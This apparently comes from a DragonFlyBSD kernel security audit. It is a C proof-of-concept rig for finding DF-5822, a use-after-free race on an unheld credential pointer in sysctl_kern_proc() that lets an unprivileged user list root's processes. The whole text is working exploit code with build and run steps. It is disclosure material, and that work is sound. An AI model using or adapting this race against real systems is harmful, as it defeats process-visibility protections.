⬢ DragonFlyBSD Kernel Audit
DF-5822 / df5822_rig.c
← back to finding ↓ download raw
/*
 * DF-5822 rig: stale un-held cr1 in sysctl_kern_proc()
 * (sys/kern/kern_proc.c:1669) -> ucred use-after-free read -> visibility
 * bypass when security.ps_showallprocs=0.
 *
 * cr1 = curproc->p_ucred is taken WITHOUT crhold and used across blocking
 * SYSCTL_OUT copyouts (p_trespass/PRISON_CHECK/jailed at 1715-1789).
 * While the sysctl thread is inside the handler, another thread of the
 * same process replacing the credentials (cratom_proc,
 * sys/kern/kern_prot.c:1170-1190) frees the cred cr1 points at.  The
 * dangling pointer is then read per-row: p_trespass(stale, target) with a
 * recycled/zeroed chunk reads cr_uid == 0 -> "return (0)" blanket
 * no-trespass (sys/kern/kern_prot.c:1057) -> other users' kinfo_proc rows
 * are emitted to a poller whose real euid is 1001.
 *
 * Churn choice: setegid(0)<->setegid(1001) alternation.  Legal because the
 * setuid-root scaffold keeps svgid==0; crucially setegid NEVER touches
 * cr_uid, so a FRESH cr1 always has cr_uid==1001 and can never legitimately
 * pass p_trespass against root-owned processes.  Any root rows observed by
 * the poller therefore prove the stale-pointer read.
 *
 * Rig scaffolding (root, one-time): sysctl -w security.ps_showallprocs=0;
 * chown root:wheel df5822_rig; chmod 4555 df5822_rig.
 *
 * Build: cc -O2 -pthread -o df5822_rig df5822_rig.c
 * Run (unprivileged): ./df5822_rig 30
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/user.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static volatile int stop;
static gid_t base_gid;

static void *
churn(void *x)
{
	(void)x;
	while (!stop) {
		if (setegid(0) == -1)
			perror("setegid0");
		if (setegid(base_gid) == -1)
			perror("setegidbase");
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	int secs = (argc > 1) ? atoi(argv[1]) : 30;
	pthread_t th;
	unsigned long iters = 0, hit_iters = 0, rows_seen = 0;
	time_t t0, t_control;

	base_gid = getgid();

	/*
	 * Drop euid to the real uid (1001).  svgid stays 0 so the setegid(0)
	 * churn below is legal; from here on a fresh p_ucred always has
	 * cr_uid == 1001.
	 */
	if (seteuid(getuid()) == -1) {
		perror("seteuid");
		return (1);
	}
	fprintf(stderr, "[rig] euid=%d ruid=%d svgid=%d poller start\n",
	    geteuid(), getuid(), 0);

	pthread_create(&th, NULL, churn, NULL);

	t0 = time(NULL);
	t_control = t0 + 3;	/* 3s control phase first */
	while (time(NULL) - t0 < secs) {
		static char buf[512 * 1024];
		size_t len = sizeof(buf);
		int mib[4];
		int churn_on = (time(NULL) >= t_control);

		/* list processes with cr_uid == 0 (root's) */
		mib[0] = CTL_KERN;
		mib[1] = KERN_PROC;
		mib[2] = KERN_PROC_UID;
		mib[3] = 0;

		++iters;
		if (sysctl(mib, 4, buf, &len, NULL, 0) == 0) {
			size_t rows = len / sizeof(struct kinfo_proc);
			if (rows > 0) {
				++hit_iters;
				rows_seen += rows;
				fprintf(stderr,
				    "[rig] %s iter %lu: %zu ROOT rows visible "
				    "with euid=%d%s\n",
				    churn_on ? "CHURN " : "CTRL  ",
				    iters, rows, geteuid(),
				    churn_on ? "  <== STALE cr1 BYPASS"
					     : "  <== control-phase hit?!");
			}
		}
	}
	stop = 1;
	pthread_join(th, NULL);

	printf("poll iterations      : %lu\n", iters);
	printf("iterations w/ rows   : %lu (control-phase hits excluded below)\n",
	    hit_iters);
	printf("root rows observed   : %lu while euid=1001\n", rows_seen);
	return (0);
}